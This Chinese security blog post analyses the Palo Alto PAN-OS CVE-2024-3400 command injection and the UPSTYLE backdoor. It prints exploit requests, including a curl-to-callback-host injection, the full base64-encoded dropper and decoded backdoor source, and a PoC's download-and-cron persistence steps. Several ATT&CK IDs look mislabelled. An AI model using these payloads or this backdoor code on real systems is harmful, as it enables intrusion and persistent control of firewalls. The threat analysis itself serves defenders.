freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Palo Alto Networks命令注入漏洞攻击后利用UPSTYLE后门分析
2024-06-23 22:51:22

一、前言

此文章是关于Palo Alto Networks(CVE-2024-3400 )命令注入漏洞攻击后利用UPSTYLE后门分析,由第三方公开漏洞的概念POC后,APT组织以及某些工具团体迅速利用起来攻击各国有关公网暴露面的 Palo Alto Networks设备,直到5月30日对存在CVE-2024-3400漏洞的Palo Alto Networks增加了出厂重置 (EFR) 程序,可抵御任何潜在的后漏洞持久性技术。

二、利用

该漏洞最早期在CVE官方记录时间是2024年4月5日,随后在4月12日被其它漏洞库记录CVE-2024-3400 是 Palo Alto Networks PAN-OS 软件中 GlobalProtect 功能中的一个命令注入漏洞,允许未经身份验证的攻击者以 root 权限在防火墙上执行任意代码。该漏洞的 CVSS 评分为 10 (严重),并且已在野外被积极利用。

该漏洞是由于允许通过路径遍历字符串任意写入文件以及在会话 ID 句柄中设置命令注入造成的,攻击者可以通过编辑其请求的 Cookie 参数来更改会话 SESSID的内容来实现漏洞利用。

1、文件创建:

POST /ssl-XXX/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../var/XXXweb/sslXXXdocs/global-protect/portal/images/hellome1337.txt;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

成功添加一个hellome1337.txt文本文件,还要可以通过Cookie来进行命令注入。

2、命令注入

上面可以在拥有足够权限下任意创建文件,通过修改Cookie服务路径将抓取的cron定时运行,来实现注入,可能在某些版本可能不同。

POST /ssl-XXX/hipreport.esp HTTP/1.1
Host: 127.0.01
Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/minute/h4`curl${IFS}xxxxxxxxxxxxxxxxx.oast.fun?test=$(whoami)`;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
python3 -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
192.168.50.226 - - [23/Jun/2024 17:36:17] "GET /?user=root HTTP/1.1" 200 -

这将在“device_telemetry/hour”目录中创建一个空文件,该文件每小时处理一次。日志服务将每小时对目录中的所有请求执行操作,并且由于未能清理文件名,将在文件名中执行命令,在上面的示例中,该命令正在向攻击者域发出请求。

三、UPSTYLE 后门威胁分析

UPSTYLE 样本一:

MD5 0c1554888ce9ed0da1583dbdf7b31651

SHA-1 988fc0d23e6e30c2c46ccec9bbff50b7453b8ba9

SHA-256 3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac

首次在野外发现 2024-04-12 12:57:08 UTC

首次提交 2024-04-12 21:26:18 UTC

——————————————————————

引擎:37/ 65

下载样本后发现py文件的systempth = "/usr/lib/python3.6/site-packages/system.pth",而且定义了一个变量systempth,保存了system.pth文件的路径。下图我们还可以看到一段 Base64 编码,编码代码注入到 Python 环境的system.pth文件中,并在执行后删除当前自身脚本。

import os,base64,time
systempth = "/usr/lib/python3.6/site-packages/system.pth"
with open(systempth,'wb') as f:
    f.write(b'''import base64;exec(base64.b64decode(b"CgoKZGVmIGNoZWNrKCk6CiAgICBpbXBvcnQgb3Msc3VicHJvY2Vzcyx0aW1lLHN5cwoKCiAgICBkZWYgc3RhcnRfcHJvY2VzcygpOgogICAgICAgIGltcG9ydCBiYXNlNjQKICAgICAgICBmdW5jdGlvbmNvZGUgPSBiIlpHVm1JRjlmYldGcGJpZ3BPZzBLSUNBZ0lHbHRjRzl5ZENCMGFISmxZV1JwYm1jc2RHbHRaU3h2Y3l4eVpTeGlZWE5sTmpRTkNnMEtEUW9OQ2lBZ0lDQmtaV1lnY21WemRHOXlaU2hqYzNOZmNHRjBhQ3hqYjI1MFpXNTBMR0YwYVcxbExHMTBhVzFsS1RvTkNpQWdJQ0FnSUNBZ2FXMXdiM0owSUc5ekxIUnBiV1VOQ2lBZ0lDQWdJQ0FnZEdsdFpTNXpiR1ZsY0NneE5Ta05DaUFnSUNBZ0lDQWdkMmwwYUNCdmNHVnVLR056YzE5d1lYUm9MQ2QzSnlrZ1lYTWdaam9OQ2lBZ0lDQWdJQ0FnSUNBZ0lHWXVkM0pwZEdVb1kyOXVkR1Z1ZENrTkNpQWdJQ0FnSUNBZ2IzTXVkWFJwYldVb1kzTnpYM0JoZEdnc0tHRjBhVzFsTEcxMGFXMWxLU2tOQ2lBZ0lDQWdJQ0FnRFFvTkNpQWdJQ0FnSUNBZ0RRb2dJQ0FnWkdWbUlGOWZhWE5mZDJodmJHVmZhRzkxY2lncE9nMEtJQ0FnSUNBZ0lDQm1jbTl0SUdSaGRHVjBhVzFsSUdsdGNHOXlkQ0JrWVhSbGRHbHRaUTBLSUNBZ0lDQWdJQ0JqZFhKeVpXNTBYM1JwYldVZ1BTQmtZWFJsZEdsdFpTNXViM2NvS1M1MGFXMWxLQ2tOQ2lBZ0lDQWdJQ0FnY21WMGRYSnVJR04xY25KbGJuUmZkR2x0WlM1dGFXNTFkR1VnSVQwZ01DQmhibVFnWTNWeWNtVnVkRjkwYVcxbExuTmxZMjl1WkNBOVBTQXdEUW9nSUNBZ1kzTnpYM0JoZEdnZ1BTQW5MM1poY2k5aGNIQjNaV0l2YzNOc2RuQnVaRzlqY3k5bmJHOWlZV3d0Y0hKdmRHVmpkQzl3YjNKMFlXd3ZZM056TDJKdmIzUnpkSEpoY0M1dGFXNHVZM056SncwS0lDQWdJR052Ym5SbGJuUWdQU0J2Y0dWdUtHTnpjMTl3WVhSb0tTNXlaV0ZrS0NrTkNpQWdJQ0JoZEdsdFpUMXZjeTV3WVhSb0xtZGxkR0YwYVcxbEtHTnpjMTl3WVhSb0tRMEtJQ0FnSUcxMGFXMWxQVzl6TG5CaGRHZ3VaMlYwYlhScGJXVW9ZM056WDNCaGRHZ3BEUW9OQ2lBZ0lDQjNhR2xzWlNCVWNuVmxPZzBLSUNBZ0lDQWdJQ0IwY25rNkRRb2dJQ0FnSUNBZ0lDQWdJQ0JUU0VWTVRGOVFRVlJVUlZKT0lEMGdKMmx0WjF4YktGdGhMWHBCTFZvd0xUa3JMejFkS3lsY1hTY05DaUFnSUNBZ0lDQWdJQ0FnSUd4cGJtVnpJRDBnVzEwTkNpQWdJQ0FnSUNBZ0lDQWdJRmRTU1ZSRlgwWk1RVWNnUFNCR1lXeHpaUTBLSUNBZ0lDQWdJQ0FnSUNBZ1ptOXlJR3hwYm1VZ2FXNGdiM0JsYmlnaUwzWmhjaTlzYjJjdmNHRnVMM056Ykhad2JsOXVaM2hmWlhKeWIzSXViRzluSWl4bGNuSnZjbk05SW1sbmJtOXlaU0lwTG5KbFlXUnNhVzVsY3lncE9nMEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lISnpkQ0E5SUhKbExuTmxZWEpqYUNoVFNFVk1URjlRUVZSVVJWSk9MR3hwYm1VcERRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2FXWWdjbk4wT2cwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQlhVa2xVUlY5R1RFRkhJRDBnVkhKMVpRMEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0JqYldRZ1BTQmlZWE5sTmpRdVlqWTBaR1ZqYjJSbEtISnpkQzVuY205MWNDZ3hLU2t1WkdWamIyUmxLQ2tOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2RISjVPZzBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdiM1YwY0hWMElEMGdiM011Y0c5d1pXNG9ZMjFrS1M1eVpXRmtLQ2tOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSGRwZEdnZ2IzQmxiaWhqYzNOZmNHRjBhQ3dpWVNJcElHRnpJR1k2RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1ppNTNjbWwwWlNnaUx5b2lLMjkxZEhCMWRDc2lLaThpS1EwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQmxlR05sY0hRZ1JYaGpaWEIwYVc5dUlHRnpJR1U2RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0J3WVhOekRRb05DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWTI5dWRHbHVkV1VOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0JzYVc1bGN5NWhjSEJsYm1Rb2JHbHVaU2tOQ2lBZ0lDQWdJQ0FnSUNBZ0lHbG1JRmRTU1ZSRlgwWk1RVWM2RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWVhScGJXVTliM011Y0dGMGFDNW5aWFJoZEdsdFpTZ2lMM1poY2k5c2IyY3ZjR0Z1TDNOemJIWndibDl1WjNoZlpYSnliM0l1Ykc5bklpa05DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQnRkR2x0WlQxdmN5NXdZWFJvTG1kbGRHMTBhVzFsS0NJdmRtRnlMMnh2Wnk5d1lXNHZjM05zZG5CdVgyNW5lRjlsY25KdmNpNXNiMmNpS1EwS0RRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2QybDBhQ0J2Y0dWdUtDSXZkbUZ5TDJ4dlp5OXdZVzR2YzNOc2RuQnVYMjVuZUY5bGNuSnZjaTVzYjJjaUxDSjNJaWtnWVhNZ1pqb05DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWmk1M2NtbDBaV3hwYm1WektHeHBibVZ6S1EwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUc5ekxuVjBhVzFsS0NJdmRtRnlMMnh2Wnk5d1lXNHZjM05zZG5CdVgyNW5lRjlsY25KdmNpNXNiMmNpTENoaGRHbHRaU3h0ZEdsdFpTa3BEUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdhVzF3YjNKMElIUm9jbVZoWkdsdVp3MEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lIUm9jbVZoWkdsdVp5NVVhSEpsWVdRb2RHRnlaMlYwUFhKbGMzUnZjbVVzWVhKbmN6MG9ZM056WDNCaGRHZ3NZMjl1ZEdWdWRDeGhkR2x0WlN4dGRHbHRaU2twTG5OMFlYSjBLQ2tOQ2lBZ0lDQWdJQ0FnWlhoalpYQjBPZzBLSUNBZ0lDQWdJQ0FnSUNBZ2NHRnpjdzBLSUNBZ0lDQWdJQ0IwYVcxbExuTnNaV1Z3S0RJcERRb05DZzBLYVcxd2IzSjBJSFJvY21WaFpHbHVaeXgwYVcxbERRcDBhSEpsWVdScGJtY3VWR2h5WldGa0tIUmhjbWRsZEQxZlgyMWhhVzRwTG5OMFlYSjBLQ2tOQ2cwSyIKICAgICAgICBleGVjKGJhc2U2NC5iNjRkZWNvZGUoZnVuY3Rpb25jb2RlKSkgICAgICAgIAoKICAgIGlmIGIiL3Vzci9sb2NhbC9iaW4vbW9uaXRvciBtcCIgaW4gb3BlbigiL3Byb2Mvc2VsZi9jbWRsaW5lIiwicmIiKS5yZWFkKCkucmVwbGFjZShiIlx4MDAiLGIiICIpIDoKICAgICAgICB0cnk6CiAgICAgICAgICAgIHN0YXJ0X3Byb2Nlc3MoKQogICAgICAgIGV4Y2VwdCBLZXlib2FyZEludGVycnVwdCBhcyBlOgogICAgICAgICAgICBwcmludChlKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgcHJpbnQoZSkKICAgICAgICByZXR1cm4gVHJ1ZQogICAgZWxzZToKICAgICAgICByZXR1cm4gRmFsc2UgCgoKZGVmIHByb3RlY3QoKToKICAgIGltcG9ydCBvcyxzaWduYWwKICAgIHN5c3RlbXB0aCA9ICIvdXNyL2xpYi9weXRob24zLjYvc2l0ZS1wYWNrYWdlcy9zeXN0ZW0ucHRoIgogICAgY29udGVudCA9IG9wZW4oc3lzdGVtcHRoKS5yZWFkKCkKICAgICMgb3MudW5saW5rKF9fZmlsZV9fKQogICAgZGVmIHN0b3Aoc2lnLGZyYW1lKToKICAgICAgICBpZiBub3Qgb3MucGF0aC5leGlzdHMoc3lzdGVtcHRoKToKICAgICAgICAgICAgd2l0aCBvcGVuKHN5c3RlbXB0aCwidyIpIGFzIGY6CiAgICAgICAgICAgICAgICBmLndyaXRlKGNvbnRlbnQpCgogICAgc2lnbmFsLnNpZ25hbChzaWduYWwuU0lHVEVSTSxzdG9wKQoKCnByb3RlY3QoKQpjaGVjaygpCg=="))''')
atime=os.path.getatime(os.__file__)
mtime=os.path.getmtime(os.__file__)
os.utime(systempth,(atime,mtime))
os.unlink(__file__)
import glob
os.unlink(glob.glob("/opt/pancfg/mgmt/licenses/PA_VM`*")[0])

1719152794_6678309a775be8f6c5feb.png!small?1719152794808

回到正文,我对编码的内容进行解码:

1719152857_667830d94a7cfa588cb16.png!small?1719152858303

代码功能分析:

  • check()函数:

    • 该函数首先检查进程命令行中是否包含/usr/local/bin/monitor mp,这可能是一个识别目标系统的特定条件,如果满足,则执行后门代码。

    • 如果命令行中包含该字符串,则调用start_process()函数。

    • 否则,返回False,表示目标系统不符合要求。

  • start_process()函数:

    • 该函数使用base64.b64decode()解码一个 Base64 编码的代码片段。这个代码片段包含了恶意代码的实际内容。

    • 然后使用exec()函数执行解码后的代码片段,意味着Base64 编码的内容在解码后的代码片段将被执行。

然后在对编码内容进行解码,这个路径/var/www/sslXXX有敏感字,可以看图片XXX的替代:

1719153156_66783204d23975a77da65.png!small?1719153157099

def __main__():
    import threading,time,os,re,base64


    def restore(css_path,content,atime,mtime):
        import os,time
        time.sleep(15)
        with open(css_path,'w') as f:
            f.write(content)
        os.utime(css_path,(atime,mtime))


    def _is_whole_hour():
        from datetime import datetime
        current_time = datetime.now().time()
        return current_time.minute == 0 and current_time.second == 0


    css_path = '/var/www/sslXXX/global-protect/portal/css/bootstrap.min.css'
    content = open(css_path).read()
    atime=os.path.getatime(css_path)
    mtime=os.path.getmtime(css_path)


    while True:
        try:
            SHELL_PATTERN = r'img[([a-z]-z][-z]-9+/=])]'
            lines = []
            WRITE_FLAG = False
            for line in open("/var/log/pan/sslXXX_ngx_error.log",errors="ignore").readlines():
                rst = re.search(SHELL_PATTERN,line)
                if rst:
                    WRITE_FLAG = True
                    cmd = base64.b64decode(rst.group(1)).decode()
                    try:
                        output = os.popen(cmd).read()
                        with open(css_path,"a") as f:
                            f.write("/*"+output+"*/")
                    except Exception as e:
                        pass
                    continue
                lines.append(line)
            if WRITE_FLAG:
                atime = os.path.getatime("/var/log/pan/sslXXX_ngx_error.log")
                mtime = os.path.getmtime("/var/log/pan/sslXXX_ngx_error.log")
                with open("/var/log/pan/sslXXX_ngx_error.log","w") as f:
                    f.writelines(lines)
                os.utime("/var/log/pan/sslXXX_ngx_error.log",(atime,mtime))
                import threading
                threading.Thread(target=restore,args=(css_path,content,atime,mtime)).start()
        except:
            pass
        time.sleep(2)


import threading,time
threading.Thread(target=__main__).start()

代码功能分析:

  • 后门代码:后门代码的功能是读取防火墙的日志文件[snip]/sslXXX_ngx_error.log,并寻找包含命令的日志行。命令以img[Base64_encoded_command]的格式嵌入在日志文件中。

  • 执行命令:恶意软件会对命令进行 Base64 解码,并使用os.popen方法执行该命令。命令执行结果会被写入 CSS 文件[snip]/css/bootstrap.min.css

  • 痕迹清除:恶意软件会创建一个线程,在 15 秒后将/css/bootstrap.min.css文件恢复到原始状态,并设置其访问时间和修改时间为原始值。

样本一分析总结:

样本一的后门在MITRE ATT&CK 框架中的技术为以下,主要攻击步骤:

  1. 文件植入 (T1089):代码将一个 Base64 编码的恶意脚本写入到系统路径/usr/lib/python3.6/site-packages/system.pth中。system.pth文件是 Python 解释器在导入模块时会搜索的路径文件,将恶意脚本写入其中可以保证脚本在 Python 程序启动时被自动加载执行。

  2. 持久化 (T1011):代码通过修改system.pth文件的访问时间和修改时间,使其看起来像系统文件,以掩盖恶意脚本的存在。

  3. 进程注入 (T1055):代码通过检查当前进程的命令行参数,判断是否以monitor mp作为参数启动。如果是,则执行恶意脚本,实现进程注入。

  4. 命令和脚本解释器 (T1059):代码利用 Python 的exec函数执行 Base64 解码后的恶意脚本。

  5. 隐藏技术 (T1070):代码通过删除自身文件__file__和一个位于/opt/pancfg/mgmt/licenses/PA_VM的文件,以减少自身存在痕迹。

  6. 数据编码 (T1071.001):代码使用 Base64 对恶意脚本进行编码,以逃避简单的静态分析。

  7. 隐藏文件和目录 (T1027):代码通过将恶意脚本写入system.pth文件,并修改其访问时间和修改时间,以隐藏其存在。

  8. 权限提升 (T1068):代码中的monitor mp参数可能与系统进程相关,如果用户以管理员权限运行该脚本,则恶意脚本也可能获得管理员权限。

  9. 后门安装 (T1547.001):代码通过将恶意脚本写入system.pth文件,并在特定条件下执行,实现了在系统中植入后门。

UPSTYLE后门整体执行流程:

解码后的恶意脚本是一个 Python 脚本,它监控日志文件/var/log/pan/sslxxx_ngx_error.log,并从其中提取 Base64 编码的命令。执行这些命令后,脚本将结果写入 CSS 文件/var/www/sslxxx/global-protect/portal/css/bootstrap.min.css中,并恢复日志文件到最初的状态。

攻击目标:

  • 获取系统权限:通过执行恶意命令,攻击者可以获取系统权限,从而进行进一步的攻击。

  • 窃取数据:攻击者可以利用恶意命令窃取系统中的敏感数据,例如用户密码、配置文件等。

  • 控制系统:攻击者可以利用恶意命令控制系统,例如安装其他恶意软件、修改系统配置等。

UPSTYLE 样本二:

MD5 8e5bc98507aa6df20edecd43961f50e5

SHA-1 3f7647e492399e7d71703217cc353ec496c0ed64

SHA-256 668378a66cde261c3d30c417439d3de09d52fd1d4b59c0477f73f3a452530c8c

首次提交 2024-04-23 13:12:39 UTC

——————————————————————

引擎:20/65

这个流程和样本一是一致的,样本一做了base64编码引擎报37/ 65这个报20/65,这种攻击者用的多,或者被人往virustotal丢多了,引擎差就大了!

类似样本分析

这个我是在推上看见的,根据代码特征上面并不是一样的,似乎这个py样本并没有被公开,而且这个看起来有较强的逃避检测性,下图是使用Github托管公共CVE-2024-3400.py,通过下图的Py代码涉及到反弹Shell操作,而这份公共POC的相关IOC并没有被公开,有人直接对其项目托管路径进行打码!首先有关的POC文件是通过一定检测方式是否存在漏洞,存在漏洞然后执行安装UPSTYLE 后门。

在底部的main函数,这条命令使用了 curl 命令从 GitHub 上下载一个脚本 git.sh 到 /Public/git.sh 目录,并设置其为可执行。然后,在后台执行该脚本,并将输出重定向到空设备。

os.system(curl -sSL https://raw.githubusercontent.com/xxxxxxxxxxxxxxx/xxx.sh) -o -/Public/git.sh ..........

代码分析:

  1. 下载恶意程序:

    • WGET=$(which wget): 找到wget命令的路径并保存到WGET变量。

    • URL="https://github.com/<username>/<repository>/main/log": 设置要下载的恶意程序的 URL。

    • BACKDOOR=$RANDOM: 生成一个随机数并保存到BACKDOOR变量,用于创建随机文件名。

    • BACKDOOR=".${BACKDOOR}": 在随机数前面添加一个点,使其成为隐藏文件。

    • $WGET -q --no-check-certificate "${URL}" -O <下载路径>: 使用wget下载恶意程序,并将其保存到指定路径,同时禁用证书检查。

  2. 设置权限和持久化:

    • 普通用户权限:

      • chmod +x <下载路径>: 将下载的恶意程序设置为可执行。

      • crontab -l > temp: 将当前用户的crontab任务列表保存到临时文件temp

      • echo "@reboot sleep 30; <下载路径> 2>&1" >> temp_cron: 将一条新的任务添加到temp_cron文件中,该任务会在系统重启 30 秒后执行下载的恶意程序,并将程序的输出重定向到标准错误输出。

      • crontab temp_cron: 用修改后的temp_cron文件覆盖当前用户的crontab任务列表。

      • rm temp cron: 删除临时文件。

    • root 用户权限:

      • chmod u+s <下载路径>: 将下载的恶意程序设置为 setuid 程序,使其在执行时拥有文件所有者的权限 (root)。

      • 其他步骤与普通用户权限类似,只是下载路径和持久化任务的设置位置不同。

上面的一个类似样本的利用代码使用 ATT&CK 框架以下技术:

  • 初始访问 (Initial Access):

    • T1598.003 - Drive-by Compromise: 代码中的 URL 指向一个下载恶意程序的链接,暗示攻击者可能利用了网站漏洞或其他方式诱使用户访问该链接,从而实现恶意程序的初始下载和执行。

  • 执行 (Execution):

    • T1059.003 - Unix Shell: 脚本使用 bash 脚本执行命令,包括下载、修改文件权限和设置持久化机制。

    • T1053.005 - Scheduled Task/Job: Cron: 攻击者利用crontab设置定时任务,实现在系统重启后自动执行恶意程序的目的。

  • 持久化 (Persistence):

    • T1053 - Scheduled Task/Job: 通过crontab设置定时任务,使恶意程序在系统重启后自动运行,维持对系统的持久化访问。

  • 权限提升 (Privilege Escalation):

    • T1068 - Abuse Elevation Control Mechanism: 脚本检查当前用户是否为 root,如果是则将恶意程序设置为 setuid 程序,利用操作系统的机制提升程序权限。

  • 防御规避 (Defense Evasion):

    • T1562.001 - Impair Defenses: Disable or Modify System Firewall: 代码中没有明确体现对防火墙的禁用或修改操作,但攻击者在获得系统权限后很可能会进行此类操作,以避免被检测和阻止。

    • T1564.001 - Hide Artifacts: Hidden Files and Directories: 脚本将下载的恶意程序文件名添加.前缀,使其成为隐藏文件,试图躲避用户和安全软件的检测。

IOCS

URL:

http://172.233.228.93/policy

http://144.172.79.92/update.py

https://45.121.51.2/abc.txt

http://172.233.228.93/patch

Related domains:

nhdata.s3-us-west-2.amazonaws.com

edcjn.57fe6f5d9d.ipv6.1433.eu.org

srgsd1f.842b727ba4.ipv6.1433.eu.org

edcjn.57fe6f5d9d.ipv6.1433.eu.org

IP:

110.47.250.103

126.227.76.24

146.70.192.174

147.45.70.100

149.88.27.212

154.223.16.34

173.255.223.159

185.108.105.110


# 渗透测试 # 网络安全 # web安全 # 系统安全 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录